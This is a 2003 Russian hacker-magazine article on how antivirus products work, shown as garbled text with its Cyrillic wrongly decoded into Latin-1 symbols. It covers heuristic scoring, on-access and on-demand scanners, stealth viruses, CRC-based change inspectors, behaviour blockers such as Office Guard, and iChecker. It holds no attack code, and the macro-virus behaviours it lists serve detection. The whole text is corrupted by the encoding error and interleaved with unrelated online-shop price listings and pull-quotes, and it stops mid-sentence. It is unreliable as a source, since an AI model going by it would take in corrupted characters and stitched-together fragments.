íå òîëüêî "ïëîõî" (çà ýòî ìîæíî äà-
âàòü ïîëîæèòåëüíóþ îöåíêó), íî è
"õîðîøî" (îòðèöàòåëüíàÿ îöåíêà ñî-

îòâåòñòâåííî). Â ðåçóëüòàòå, åñëè
îáúåêò ê êîíöó àíàëèçà íàáåðåò
îöåíêó âûøå 50 (îïÿòü æå, íàïðè-

ìåð), åãî ìîæíî ñ÷èòàòü èíôèöèðî-
âàííûì. ×òî æå äî îòâåòà íà ïåðâûé
âîïðîñ (î âèäàõ äåÿòåëüíîñòè), òî
ó÷èòûâàòü íàäî êàê ìîæíî áîëüøå:
îáðàùåíèå ê ðååñòðó, ñèñòåìíûì
ôàéëàì, àäðåñíîé êíèãå, äðóãèì
ôàéëàì, èíòåðíåòó è ò.ä. Åñëè íà ïåð-
âûé âçãëÿä îïèñàííûé ñïîñîá êàæåò-
ñÿ ïðîñòûì â ðåàëèçàöèè, òî íà äåëå
ýòî íå òàê. Ìîæíî ïðèâåñòè ïðèìåð
ïðîãðàììû (õîòÿ áû âñåìè ëþáèìîãî
ïî÷òîâîãî êëèåíòà èëè äèàãíîñòè÷åñ-
êîãî ïðèëîæåíèÿ, ïðîñòî âûâîäÿùå-
ãî âñå âûøåïåðå÷èñëåííûå äàííûå
íà ýêðàí), êîòîðàÿ áóäåò âåñòè ñåáÿ
"ïëîõî", íî íà ïðàêòèêå îêàæåòñÿ íå-
âèííîé. Òàê ÷òî âñå íå òàê ïðîñòî.
Åùå îäíîé ïðîáëåìîé ýâðèñòèêîâ ÿâ-
ëÿåòñÿ âîïðîñ òåñòèðîâàíèÿ. Èìåííî
ïîýòîìó ÿ óïîìÿíóë òåñòåðîâ â ñàìîì
íà÷àëå ðàññêàçà îá ýòîé óâëåêàòåëü-
íîé òåõíîëîãèè. Êàê ìîæíî óáåäèòüñÿ
â ýôôåêòèâíîì ôóíêöèîíèðîâàíèè
ýâðèñòèêà? Ïðåæäå âñåãî, åãî ñëåäóåò

ïðîâåðèòü íà óæå ñóùåñòâóþùèõ âè-
ðóñàõ. Ýòî ñäåëàòü äîâîëüíî ïðîñòî:
ëþáîé ïîëüçîâàòåëü èíòåðíåòà ìî-
æåò íàéòè îò 2 äî 4 òûñÿ÷ âðåäîíîñ-
íûõ êîäîâ (÷åðâåé, òðîÿíöåâ, âèðó-
ñîâ, áýêäîðîâ), ñâîáîäíî ëåæàùèõ â
Ñåòè. Ýòè öèôðû ïðîäèêòîâàíû ëè÷-
íûì îïûòîì, òàê êàê ìíå íå ðàç ïðèõî-
äèëîñü ó÷àñòâîâàòü â ïîäîáíîãî ðîäà
èñïûòàíèÿõ (èìåþòñÿ â âèäó òåñòû
ýôôåêòèâíîñòè ñêàíåðîâ). Íî âåäü
ýâðèñòèê - ïåðâûé ðóáåæ îáîðîíû,
ñðåäñòâî, ñîçäàííîå äëÿ áîðüáû ñ
åùå íå èçâåñòíûìè âèðóñàìè. À ñ èç-
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âåñòíûìè è ñèãíàòóðíûé ïîèñê ñïðàâ-
ëÿåòñÿ! Â ýòî âñå è óïèðàåòñÿ. Ñîçäà-
âàòü "õîðîøèé", õèòðûé è íåóëîâè-
ìûé âèðóñ íè îäèí èç àíòèâèðóñíûõ
ýêñïåðòîâ íå ñòàíåò. À îòêóäà åùå îíè
ìîãóò âçÿòüñÿ? Åùå ðàç óïîìÿíó, ÷òî
ìíîãèå ðàçðàáîò÷èêè àíòèâèðóñîâ âî-
îáùå íå âêëþ÷àþò â ñâîé ïàêåò ýâ-
ðèñòè÷åñêèå àíàëèçàòîðû. Äîïîëíè-
òåëüíûì äîâîäîì â ïîëüçó òàêîãî
ïîäõîäà ñëóæèò è äîðîãîâèçíà ðàçðà-
áîòêè è âíåäðåíèÿ ýòîé òåõíîëîãèè.
Ìîíèòîð òàêæå íåîòúåìëåìàÿ ÷àñòü
ëþáîãî ñðåäñòâà äëÿ áîðüáû ñ âèðó-

ñàìè. Ñ òî÷êè çðåíèÿ ïðîãðàììèñòà,
ìîíèòîð ÿâëÿåòñÿ âûñîêîóðîâíåâîé
îáåðòêîé ñëîÿ, ëåæàùåãî íèæå, - ñêà-
íåðà. Çàäà÷à ìîíèòîðà ïîñòîÿííî íà-
õîäèòüñÿ â ïàìÿòè ÏÊ è ïðîâåðÿòü
âñå ôàéëû, ê êîòîðûì îáðàùàåòñÿ
îïåðàöèîííàÿ ñèñòåìà. Òàêèì îáðà-
çîì, ìîíèòîð íàòðàâëèâàåò ñêàíåð íà
êàæäûé îáúåêò, êîòîðûé ïðèâëåê âíè-
ìàíèå ïîëüçîâàòåëÿ èëè ñèñòåìû. Ìî-
íèòîð èçáàâëÿåò ïîëüçîâàòåëÿ îò ðó-
òèííîé îïåðàöèè ïðîâåðêè âñåãî íî-
âîãî íà âèðóñû. Êàê ãîâîðèëè ëåò äå-
ñÿòü íàçàä: "Ïðèíåñ äèñêåòó ñ óëèöû,
áóäü äîáð, ïðîâåðü åå". Ñåãîäíÿ íà
òàêèå ìåëî÷è è îòâëåêàòüñÿ íå ñòîèò.
Ñêàíåð è ìîíèòîð - ëó÷øèå äðóçüÿ. Â
àíãëèéñêîì ÿçûêå èõ îòëè÷àþò äðóã îò
äðóãà òîëüêî ñ ïîìîùüþ ñëîâ "on-
access" è "on-demand". Ïåðâîå îçíà÷à-
åò - "ïðè îáðàùåíèè", âòîðîå - "ïî òðå-
áîâàíèþ". Êàê íåòðóäíî äîãàäàòüñÿ,
ñêàíèðîâàíèå on-access - ýòî ìîíèòîð,
à on-demand - ñòàíäàðòíûé ñêàíåð.

ÊÎÅ-×ÒÎ Î ÑÒÅËÑÀÕ
Åñòü òàêèå âèðóñû, êîòîðûå çîâóò-

ñÿ ñòåëñàìè. Âåðíåå, äàæå íå òàê, òà-
êèå âèðóñû áûëè. Ïî÷åìó áûëè? Ïîòî-
ìó ÷òî ñåé÷àñ ýòà òåõíîëîãèÿ ïî÷òè íå
èñïîëüçóåòñÿ, íî â ñâîå âðåìÿ ïîïîð-
òèëà íåìàëî êðîâè.

Ñóòü ëþáîãî àíòèâèðóñíîãî ñðåäñòâà -
ðàáîòà ñ ôàéëàìè. Ïåðâîå äåéñòâèå
ëþáîãî ñêàíèðîâàíèÿ (äà è ìíîãèõ
äðóãèõ òåõíîëîãèé) çàêëþ÷àåòñÿ â
òîì, ÷òî àíòèâèðóñ îáðàùàåòñÿ ê ôàé-
ëó. Ýòî ìîæíî äåëàòü äâóìÿ ñïîñîáà-
ìè: ïîïðîñèòü îïåðàöèîííóþ ñèñòåìó
ñäåëàòü íåîáõîäèìûå ìàíèïóëÿöèè ñ
ôàéëîì èäè îáðàòèòüñÿ ñàìîñòîÿ-
òåëüíî ÷åðåç ñîáñòâåííûé äðàéâåð.
Äîëãîå âðåìÿ (ïðèìåðíî äî 1997-1998
ãîäà) ïî÷òè âñå àíòèâèðóñû ïðîñòî
ïîëüçîâàëèñü ñèñòåìíûìè API äëÿ äîñ-
òóïà ê ôàéëàì. Êñòàòè, ñèñòåìíûìè API

ÿ çäåñü íàçûâàþ íå òîëüêî âûñîêîó-
ðîâíåâûå API òèïà Win16/32/64 API, íî
è íèçêîóðîâíåâûå ñèñòåìíûå ïðåðûâà-
íèÿ. Òåõíîëîãèÿ ñòåëñ-âèðóñîâ çàêëþ-
÷àåòñÿ â òîì, ÷òî òàêîé âðåäîíîñíûé
êîä êîíòðîëèðóåò ñèñòåìó è âñåãäà óñ-
ïåâàåò ïîäñóíóòü íà ïðîâåðêó ñîâñåì
äðóãîé, íåèíôèöèðîâàííûé ôàéë. Òà-
êèì îáðàçîì, âèðóñ îñòàåòñÿ íåâèäè-
ìûì è äëÿ ñêàíåðà, è äëÿ êàêèõ áû òî
íè áûëî äðóãèõ àíòèâèðóñíûõ ñðåäñòâ.
Íî "äîáðûå ýêñïåðòû" è çäåñü íàøè
âûõîä èç ïîëîæåíèÿ. Îíè âñïîìíèëè
âòîðîé ñïîñîá ðàáîòû ñ ôàéëàìè -
îáðàùåíèå ê äèñêó íåïîñðåäñòâåííî
÷åðåç äðàéâåð äèñêîâîé ïîäñèñòåìû
IOS (ñóïåðâèçîð ââîäà-âûâîäà - ýòî
àëüòåðíàòèâíûé ïî ñðàâíåíèþ ñ ñèñ-
òåìíûìè ïðåðûâàíèÿìè ñïîñîá ïîëó-
÷åíèÿ äàííûõ î ôàéëå, äëÿ åãî ðåà-
ëèçàöèè ïðèõîäèòñÿ èñïîëüçîâàòü
ñîáñòâåííûé äðàéâåð). Îò òàêîãî óäà-
ðà ñòåëñ-âèðóñû íå îïðàâèëèñü äî
ñèõ ïîð.
Àíòèâèðóñíûå ýêñïåðòû, ïðàâäà, íå
îñòàíîâèëèñü íà äîñòèãíóòîì: îíè
çàêðåïèëè ñâîå ïðåèìóùåñòâî, ðåàëè-
çîâàâ äâîéíóþ ïðîâåðêó. Ñåãîäíÿ àí-
òèâèðóñ ðàáîòàåò ñ ôàéëàìè äâóìÿ
ñïîñîáàìè: ÷åðåç ñîáñòâåííûé äðàé-
âåð è ÷åðåç ñòàíäàðòíûå API. Åñëè
äàííûå î ôàéëå, ïîëó÷åííûå ïåðâûì
ñïîñîáîì, îòëè÷àþòñÿ îò àíàëîãè÷-
íûõ, ïîëó÷åííûõ âòîðûì ñïîñîáîì,
çíà÷èò ôàéë îäíîçíà÷íî èíôèöèðî-
âàí ñòåëñ-âèðóñîì. Òàêèì îáðàçîì,
íèçêîóðîâíåâûé äîñòóï ê ôàéëàì ÿâ-
ëÿåòñÿ âàæíûì ìîìåíòîì â ïîíèìà-
íèè ëþáîé àíòèâèðóñíîé òåõíîëîãèè.

ÊÎÌÏÜÞÒÅÐÍÛÉ 
ØÅÐËÎÊ ÕÎËÌÑ

Â ñîñòàâ àíòèâèðóñîâ ÷àñòî âõî-
äèò ìîäóëü ïîä íàçâàíèåì èíñïåêòîð
èçìåíåíèé. Èíîãäà åãî íàçûâàþò ðå-
âèçîðîì èçìåíåíèé. ß áóäó èñïîëüçî-
âàòü îáà òåðìèíà.
Õî÷ó îáðàòèòü òâîå âíèìàíèå, ÷òî â
íåêîòîðûõ àíòèâèðóñàõ ðåâèçîðà íåò.
Ïî÷åìó? Îòíþäü íå èç-çà åãî íåýô-
ôåêòèâíîñòè èëè, ÷òî åùå ãëóïåå,

áåñïîëåçíîñòè. Äåëî â òîì, ÷òî èíñ-
ïåêòîð èçìåíåíèé ïîäõîäèò òîëüêî
äëÿ çàùèòû ðàáî÷èõ ñòàíöèé, òî åñòü
êîìïüþòåðîâ äîìàøíèõ ïîëüçîâàòå-
ëåé è îôèñíûõ ìàøèí. Áîëüøèíñòâî
æå ðàçðàáîò÷èêîâ àíòèâèðóñíûõ ðå-
øåíèé îðèåíòèðóþòñÿ íà çàùèòó êîð-
ïîðàòèâíûõ êëèåíòîâ, êîòîðûì â ïåð-
âóþ î÷åðåäü íåîáõîäèìî îáåçîïà-
ñèòü ñåðâåðà (ôàéëîâûå, ïî÷òîâûå,
áàçû äàííûõ è ò.ä.). Â ýòîì ñëó÷àå, êàê
ÿ óæå ãîâîðèë, òåõíîëîãèÿ íå ïîäõî-
äèò â ïðèíöèïå.
Ñåãîäíÿ øèðîêî èçâåñòíû äâà ðåâè-
çîðà. Ïåðâûé âõîäèò â ñîñòàâ Àíòèâè-
ðóñà Êàñïåðñêîãî Personal Pro, âòîðîé
ÿâëÿåòñÿ "ïðèìî÷êîé" ê Dr. Web. 
Ïåðåõîäèì ê ñàìîé òåõíîëîãèè. Ïðè-
ìåíÿåòñÿ èíñïåêòîð èçìåíåíèé ïî
ñëåäóþùåé ñõåìå. Íà ÷èñòîì îò âèðó-
ñîâ, íåçàðàæåííîì, êîìïüþòåðå çà-
ïóñêàåòñÿ ðåâèçîð. Îí ñîãëàñíî íàñò-
ðîéêàì ñîáèðàåò èíôîðìàöèþ î íåêî-
òîðûõ âàæíûõ (èëè âñåõ ïîäðÿä) ôàé-
ëàõ è çàïèñûâàåò åå â ñâîþ ñîáñòâåí-
íóþ áàçó äàííûõ. Ïîñëå ýòîãî ðåâè-
çîð âûêëþ÷àåòñÿ. Ïðè ñëåäóþùåì çà-
ïóñêå (â çàâèñèìîñòè îò íàñòðîåê - ÷å-
ðåç ÷àñ, äâà, äåíü, íåäåëþ èëè ïðîñòî
âî âðåìÿ áëèæàéøåé ïåðåçàãðóçêè)
ðåâèçîð ïðîâåðÿåò íàëè÷èå ñâîåé áà-
çû. Òàê êàê îíà óæå ñîçäàíà, èíñïåê-

òîð íà÷èíàåò ñðàâíèâàòü äàííûå î
ôàéëàõ â "ðåàëüíîé æèçíè" (íà æåñò-
êîì äèñêå) è â ñâîåé ÁÄ. Åñëè èçìåíå-
íèé íåò, òî êîìïüþòåð ÷èñò íà 100%.
Åñëè æå åñòü, òî èõ íàäî àíàëèçèðî-
âàòü. Âïîëíå âåðîÿòíî, ÷òî òû ïðîñòî
îáíîâèë ñâîé äîêóìåíò èëè óñòàíîâèë
íîâóþ âåðñèþ ïðîãðàììû. À ìîæåò,
ôàéë ïîäâåðãñÿ çàðàæåíèþ. Îáû÷íî
(åñëè ðåâèçîð íå ñìîã ñàì îïðåäå-
ëèòü, âðåäîíîñíûå ëè èçìåíåíèÿ ïðî-
èçîøëè) èíñïåêòîð èçìåíåíèé âûâî-
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Ñòåëñ-âèðóñ
êîíòðîëèðó-
åò ñèñòåìó
è âñåãäà óñ-
ïåâàåò ïîä-
ñóíóòü íà
ïðîâåðêó
ñîâñåì äðó-
ãîé, íåèí-
ôèöèðîâàí-
íûé ôàéë.
Òàêèì îáðà-
çîì, âèðóñ
îñòàåòñÿ
íåâèäèìûì
è äëÿ ñêà-
íåðà, è äëÿ
êàêèõ áû òî
íè áûëî
äðóãèõ àí-
òèâèðóñíûõ
ñðåäñòâ.

Êàê ãîâîðè-
ëè ëåò äå-
ñÿòü íàçàä:
"Ïðèíåñ
äèñêåòó ñ
óëèöû, áóäü
äîáð, ïðî-
âåðü åå".

Office Guard

Ñòàíäàðòíûé on-access ñêàíåð

Ñåãîäíÿ àíòèâèðóñ ðàáîòàåò ñ ôàéëàìè
äâóìÿ ñïîñîáàìè: ÷åðåç ñîáñòâåííûé

äðàéâåð è ÷åðåç ñòàíäàðòíûå API.

Ñòàíäàðòíûé on-demand ñêàíåð



äèò íà ýêðàí âñå îòëè÷èÿ, êîòîðûå íàøåë. Â ýòîì ñëó÷àå òû,
êàê ïîëüçîâàòåëü è àäìèíèñòðàòîð, ìîæåøü îçíàêîìèòüñÿ
ñ ýòèìè äàííûìè è îïðåäåëèòü, ìåíÿë ëè òû ñàì ýòè ôàéëû
(îáíîâëÿë) èëè ýòî ñäåëàë âèðóñ. ß ðåêîìåíäóþ íàñòðîèòü
ðåâèçîð íà ïðîâåðêó ïðè êàæäîé ïåðåçàãðóçêå (ïðè êàæäîì
âêëþ÷åíèè) ÏÊ. Â ýòîì ñëó÷àå òû ïðîñòî íå óñïååøü çà-
áûòü, êàêîå ÏÎ è êàêèå ôàéëû áûëè îáíîâëåíû.
Êàêóþ æå èíôîðìàöèþ ñîáèðàåò èíñïåêòîð â ñâîþ ÁÄ?
Ïðåæäå âñåãî, ýòî âñåì èçâåñòíàÿ öèêëè÷åñêàÿ ñóììà
CRC, êîòîðàÿ ÿâëÿåòñÿ ñâîåãî ðîäà îòïå÷àòêàìè ïàëüöåâ
äëÿ ôàéëîâ. Äàëåå èäåò èíôîðìàöèÿ î äàòå ñîçäàíèÿ, äà-
òå ïîñëåäíåé ìîäèôèêàöèè, ðàçìåðå è ò.ä. Î÷åíü âàæíîé
÷àñòüþ ïðîöåññà ÿâëÿåòñÿ ñáîð èíôîðìàöèè î âíóòðåí-
íåé ñòðóêòóðå ôàéëà è íåêîòîðûõ êðèòè÷åñêèõ äëÿ åãî
æèçíåäåÿòåëüíîñòè ìåñòàõ - òî÷êå âõîäà â ôóíêöèè, ïðî-
öåäóðû è ñàì ôàéë.
Êàæåòñÿ, ÷òî ñîáèðàåìûå äàííûå èçáûòî÷íû. Íî íåò - ðàç-
ðàáîò÷èêè óñìîòðåëè â ðåâèçîðå íå òîëüêî ñïîñîá íàõî-
äèòü âèðóñû, íî è ëå÷èòü ôàéëû. Áëàãîäàðÿ òàêîìó îãðîì-
íîìó êîëè÷åñòâó äàííûõ ýôôåêòèâíîñòü ëå÷åíèÿ ïîâûøà-
åòñÿ â äåñÿòêè ðàç - î÷åíü ÷àñòî óäàåòñÿ âîññòàíîâèòü äàæå
çàòåðòûå äàííûå. Âñå æå íå ñëåäóåò ïóòàòü èíñïåêòîð èçìå-
íåíèé ñ ÷åì-òî âðîäå ïàêåòà äëÿ ðåçåðâíîãî êîïèðîâàíèÿ.
Åñëè ôàéë îñíîâàòåëüíî ïîâðåäèòü (çàòåðåòü), òî ðåâèçîð
îêàæåòñÿ áåññèëüíûì.
Èç ðàññìîòðåííîé òåõíîëîãèè ñòàíîâèòñÿ ÿñíî, ïî÷åìó èíñ-
ïåêòîð íå èñïîëüçóþò íà ñåðâåðàõ. Ñëèøêîì ÷àñòî òàì ÷òî-
òî ìåíÿåòñÿ è ñëèøêîì ìíîãî ðåñóðñîâ òðåáóåòñÿ äëÿ ïðî-
âåðêè æåñòêîãî äèñêà.
Èíñïåêòîð èçìåíåíèé ìîæíî íàçâàòü êîìïüþòåðíûì Øåðëî-
êîì Õîëìñîì. Ñëèøêîì ìíîãî ó íèõ îáùåãî: îáà èññëåäóþò
ìåñòî ïðåñòóïëåíèÿ (ôàéëû â íàøåì ñëó÷àå) ëèøü ïîñëå òî-
ãî, êàê ïðåñòóïëåíèå ïðîèçîøëî, è äåëàþò ýòî, îñíîâûâàÿñü
íà óëèêàõ (îòïå÷àòêàõ ïàëüöåâ, îñòàâëåííûõ ñëåäàõ, ÷òî â íà-
øåì ñëó÷àå - CRC è äàííûå î âíóòðåííåì ñòðîåíèè ôàéëà).

ÑÒÀÐØÈÉ ÁÐÀÒ
Òåì, êòî íå ÷èòàë, ðåêîìåíäóþ ðàññêàç Äæîðäæà Îðóýë-

ëà "1984". Òàì êàê ðàç î Ñòàðøåì Áðàòå õîðîøî íàïèñàíî.
Ñëåäóþùóþ ðàññìàòðèâàåìóþ òåõíîëîãèþ íàçûâàþò ïîâå-
äåí÷åñêèì áëîêèðàòîðîì. Êðóïíåéøèå àíòèâèðóñíûå ýêñ-
ïåðòû âîçëàãàþò íà ïîâåäåí÷åñêèå áëîêèðàòîðû áîëüøèå
íàäåæäû.
Ñóòü ýòîé òåõíîëîãèè ïðîñòà: êàæäîå äåéñòâèå ïðîãðàììû
àíàëèçèðóåòñÿ íà ïðåäìåò "õîðîøåå îíî èëè ïëîõîå". Åñëè
õîðîøåå, òî äåéñòâèå ðàçðåøàåòñÿ, â ïðîòèâíîì ñëó÷àå
áëîêèðóåòñÿ (îòñþäà è íàçâàíèå). Èíòåðåñíàÿ äåòàëü - åñëè
äîáàâèòü ñþäà èñêóññòâåííûé èíòåëëåêò, òî òåõíîëîãèÿ áó-
äåò î÷åíü áëèçêà ïî ñóòè ê ýâðèñòèêàì.
Îñíîâíàÿ ïðîáëåìà ðàçðàáîò÷èêîâ ïîâåäåí÷åñêîãî áëîêè-
ðàòîðà â òîì, ÷òîáû îïðåäåëèòü, êàêèå äåéñòâèÿ íóæíî áëî-
êèðîâàòü, à êàêèå íåò. Âñå çàâèñèò îò óðîâíÿ àáñòðàêöèè. Òå-
îðåòè÷åñêè ìîæíî îòñëåæèâàòü èñïîëüçóåìûå API-ôóíêöèè,
äîñòóï ê ðàçëè÷íûì âåòâÿì ðååñòðà, ðàáîòó ñ îïðåäåëåííû-
ìè ôàéëàìè. Íî ýòî âñå ñëîæíî ôîðìàëèçîâàòü: íèêòî íå
äàñò îòâåò íà âîïðîñ, ÷òî òàêîå õîðîøî è ÷òî òàêîå ïëîõî.
Ñåãîäíÿ íàèáîëüøåé ïîïóëÿðíîñòüþ ïîëüçóþòñÿ ïîâåäåí-
÷åñêèå áëîêèðàòîðû, ðàçðàáîòàííûå ïîä êîíêðåòíûå ïðè-
ëîæåíèÿ. Íàïðèìåð, "Ëàáîðàòîðèÿ Êàñïåðñêîãî" ïîñòàâëÿ-
åò âìåñòå ñî ñâîèì äèñòðèáóòèâîì Àíòèâèðóñ Êàñïåðñêîãî
Personal Pro ìîäóëü, êîòîðûé íàçûâàåòñÿ Office Guard. Âîò
êàê îí ðàáîòàåò.
Íàáîð èñïîëüçóåìûõ ìàêðîâèðóñîì ôóíêöèé î÷åíü è
î÷åíü îãðàíè÷åí. Ðàçðàáîò÷èêè äîäóìàëèñü êëàññèôèöè-
ðîâàòü èõ è ðàçëîæèòü ïî ïîëî÷êàì. 90% ñîâðåìåííûõ
ìàêðîâèðóñîâ ïûòàþòñÿ îáðàòèòüñÿ ê àäðåñíîé êíèãå
Outlook. Åñëè ïðåäïîëîæèòü, ÷òî ìàêðîñ - õîðîøèé, ÷òî åìó
äåëàòü â àäðåñíîé êíèãå? ×òî îí òàì çàáûë? Âîò-âîò,
îøèáëèñü ñ ïðåäïîëîæåíèåì. Òàêèì îáðàçîì, Office Guard
áëîêèðóåò ñðàçó 9 ìàêðîâèðóñîâ èç 10. Îñòàëüíûå 10% îò-
ëàâëèâàþòñÿ åùå ëåã÷å: åñòü îïðåäåëåííûé íàáîð ôóíê-
öèé, ñ ïîìîùüþ êîòîðûõ ìàêðîâèðóñ ìîæåò ðàçìíîæàòüñÿ.
Ýòî ðåäàêòèðîâàíèå îñíîâíîãî ôàéëà øàáëîíîâ
(normal.dot), çàïèñü ñâîåãî òåëà â àâòîìàêðîñû (çàïóñêàå- »

$779.99

$179.99  

Äæîéñòèê/ Flight
Control System III
(AFCS III)

$32.99  

$209.99  

Íàóøíèêè/
Nady QH-460 

Äæîéñòèê/ CH Flight
Sim Yoke USB 

Ïåäàëè/CH Pro
Pedals USB 

PC Accessories

Êëàâèàòóðà/ Microsoft
Wireless Optical Desktop
Pro, Keyboard-Mouse Combo 

$209.99

$73.99  

Äæîéñòèê/ 2.4GHz
Logitech Cordless
Controller 

www.e-shop.ru www.gamepost.ru

ÈÃÐÛ ÏÎ ÊÀÒÀËÎÃÀÌ Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ

e-mail: sales@e-shop.ru
ñ 10.00 äî 21.00 ïí - ïò 
ñ 10.00 äî 19.00 ñá - âñ   
ñòîèìîñòü äîñòàâêè

ñíèæåíà íà 10%!

Çàêàçû ïî èíòåðíåòó � êðóãëîñóòî÷íî! e-mail: sales@e-shop.ru
Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü ñ 10.00 äî 21.00 ïí - ïò 

ñ 10.00 äî 19.00 ñá - âñ   
ÑÓÏÅÐÏÐÅÄËÎÆÅÍÈÅ ñòîèìîñòü äîñòàâêè
ÄËß ÈÍÎÃÎÐÎÄÍÈÕ ÏÎÊÓÏÀÒÅËÅÉ ñíèæåíà íà 10%!
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Ñóòü íîâîé
òåõíîëîãèè
â îáúåäèíå-
íèè ðåâèçî-
ðà èçìåíå-
íèé è àíòè-
âèðóñíîãî
ñêàíåðà.
×åñòíî ãî-
âîðÿ, òàêîé
ñèìáèîç
óæå äàâíî
íàïðàøè-
âàëñÿ, íî
áûë äàëåêî
íå î÷åâè-
äåí.

Òåì, êòî íå
÷èòàë, ðå-
êîìåíäóþ
ðàññêàç
Äæîðäæà
Îðóýëëà
"1984".
Òàì êàê ðàç
î Ñòàðøåì
Áðàòå õîðî-
øî íàïèñà-
íî.

ìûå àâòîìàòè÷åñêè ïðè ñîõðàíåíèè,
ñîõðàíåíèè êàê, çàêðûòèè è îòêðûòèè
äîêóìåíòîâ). Åñëè ìàêðîñ ïîïûòàåòñÿ
îñóùåñòâèòü õîòü îäíó èç ýòèõ îïåðà-
öèé - çíà÷èò îí âèðóñ. Íå ïðàâäà ëè,
ïðîñòî?
Òåì íå ìåíåå, íèêòî áîëüøå äàííîé
òåõíîëîãèåé íå ðàñïîëàãàåò. Ðàçðà-
áîò÷èêè äðóãèõ àíòèâèðóñíûõ ïàêåòîâ
÷àñòî ãîâîðÿò, ÷òî ñòîïðîöåíòíîé çà-
ùèòû íå áûâàåò. Íà ñàìîì äåëå, ïðè-
÷èíà â äðóãîì. Ðàçðàáîòêà òàêîé òåõ-
íîëîãèè òðåáóåò äåíåã, âðåìåíè è
ìîçãîâ. Äàëåêî íå ó êàæäîé êîìïàíèè
âñå ýòî åñòü.
Õî÷ó îáðàòèòü òâîå âíèìàíèå íà âàæ-
íûé ìîìåíò - ïîâåäåí÷åñêèé áëîêèðà-
òîð ëèøü çàùèùàåò îò âèðóñîâ, íî íå
ëå÷èò òå ôàéëû, â êîòîðûõ âèðóñ óæå
åñòü. Ýòî î÷åíü âàæíûé àñïåêò, î êî-
òîðîì íå ñòîèò çàáûâàòü.

ÏÀÐÀ ÑËÎÂ Î ÁÓÄÓÙÅÌ
Íà íàøèõ ãëàçàõ áóäóùåå ñòàíî-

âèòñÿ íàñòîÿùèì. Íåäàâíî ïðîèçî-
øåë ñóùåñòâåííûé ñäâèã â ýòîì íàï-

ðàâëåíèè: áûëà èçîáðåòåíà íîâàÿ
òåõíîëîãèÿ iChecker.
Åå ñóòü â îáúåäèíåíèè ðåâèçîðà èçìå-
íåíèé è àíòèâèðóñíîãî ñêàíåðà. ×åñòíî
ãîâîðÿ, òàêîé ñèìáèîç óæå äàâíî íàï-
ðàøèâàëñÿ, íî áûë äàëåêî íå î÷åâè-
äåí. Êîãäà ìíå ðàññêàçàëè îá iChecker

è îá îáúåäèíåíèè ýòèõ äâóõ ìîäóëåé -
âñå îñòàëüíîå ñòàëî ñðàçó ïîíÿòíûì.
Íî äî ýòîãî î÷åâèäíàÿ, êàçàëîñü áû,
èäåÿ î ñðàùèâàíèè äâóõ ìîùíåéøèõ
òåõíîëîãèé íå ïðèõîäèëà ìíå â ãîëî-
âó. Âîò ïîäðîáíîñòè îá iChecker. Òåõ-
íîëîãèÿ ïîçâîëÿåò îùóòèìî (îáû÷íî
â äåñÿòêè, èíîãäà â ñîòíè ðàç) óâåëè-
÷èòü ïðîèçâîäèòåëüíîñòü òâîåãî ÏÊ.

Íàïîìíþ, â ÷åì ñóòü ðåâèçîðà èçìåíå-
íèé: ýòîò ìîäóëü çàïîìèíàåò óíèêàëü-
íûå äàííûå î êàæäîì ôàéëå, êîòîðûé
ìîæåò áûòü çàðàæåí. Â êà÷åñòâå òàêîé
èíôîðìàöèè áåðåòñÿ êîíòðîëüíàÿ
ñóììà, ðàçìåð, äàòà ïîñëåäíèõ èçìåíå-
íèé, àäðåñà òî÷åê âõîäà â ïðîöåäóðû

è ò.ä. Äàëåå ðåâèçîð êàæäûé ðàç ñðàâ-
íèâàåò ïàðàìåòðû ïðîâåðÿåìîãî ôàé-
ëà ñ òåìè, ÷òî çàïèñàíû â åãî áàçå
äàííûõ. Åñëè åñòü êàêèå-ëèáî íåñîâïà-
äåíèÿ, òî èññëåäóåìûé ôàéë òùàòåëü-
íî àíàëèçèðóåòñÿ (âñå èçìåíåíèÿ ïðî-
âåðÿþòñÿ íà "âèðóñîïîäîáíîñòü"). Åñ-
ëè îáúåêò èäåíòèôèöèðîâàí êàê èí-
ôèöèðîâàííûé, åãî ïî÷òè âñåãäà ëåã-
êî âûëå÷èòü (âåäü ñîõðàíèëàñü èí-
ôîðìàöèÿ î "çäîðîâîì" ôàéëå). Çà
ñ÷åò ÷åãî æå äîñòèãàåòñÿ âûèãðûø âî
âðåìåíè? Ñóòü â òîì, ÷òî ðåçèäåíòíûé
ìîíèòîð èñïîëüçóåò â ñâîåé ðàáîòå
ñêàíåð. À ñêàíåð, â ñâîþ î÷åðåäü, îáú-
åäèíåí ñ ðåâèçîðîì èçìåíåíèé, êîòî-
ðûé õðàíèò áàçó ïðîâåðåííûõ îáúåê-
òîâ. Òàêèì îáðàçîì, ìîæíî âîîáùå íå
ïðîâåðÿòü óæå ïðîâåðåííûå ôàéëû
(íà ïðîâåðêó êîòîðûõ â ôîíîâîì ðå-
æèìå ðàñõîäóåòñÿ ìíîãî âðåìåíè). Åñ-
ëè ãîâîðèòü î ñèñòåìíûõ ôàéëàõ, êî-
òîðûå èñïîëüçóþòñÿ (è, ñëåäîâàòåëü-
íî, ïðîâåðÿþòñÿ ìîíèòîðîì) î÷åíü
÷àñòî, òî òàêàÿ ýêîíîìèÿ ïîçâîëÿåò
óâåëè÷èòü ïðîèçâîäèòåëüíîñòü ìèíè-
ìóì â íåñêîëüêî äåñÿòêîâ ðàç.
Íîâàÿ òåõíîëîãèÿ äàåò íå òîëüêî ïðè-
ðîñò ïðîèçâîäèòåëüíîñòè ÏÊ, íî è
ñíèæàåò ñèñòåìíûå òðåáîâàíèÿ àíòè-
âèðóñíîãî ïàêåòà (òðåáóåòñÿ ìåíüøå
ÎÇÓ). Êòî çíàåò, ìîæåò â áóäóùåì
íàñ æäåò îáúåäèíåíèå ýâðèñòèêîâ è
ïîâåäåí÷åñêèõ áëîêèðàòîðîâ? A

ÇÀÙÈÒÀ    ÊÀÊ ÀÍÒÈÂÈÐÓÑ ÍÀÕÎÄÈÒ ÆÅÐÒÂÛ86
Â

È
Ð

Ó
Ñ

Û

ÕÀÊÅÐÑÏÅÖ    10(35)   2003

Àëãîðèòì ðàáîòû Office Guard

Ïîâåäåí÷åñêèé áëîêèðàòîð, ñëîâíî
ñóäüÿ, ðàññìàòðèâàåò çàÿâêè
äðóãèõ ïðîãðàìì. Office Guard

íèêîãäà íå îøèáàåòñÿ. Åñëè õîòèòå
ïðîâåðèòü åãî â äåëå, óñòàíîâèòå 

â íàñòðîéêàõ  «ñïðàøèâàòü
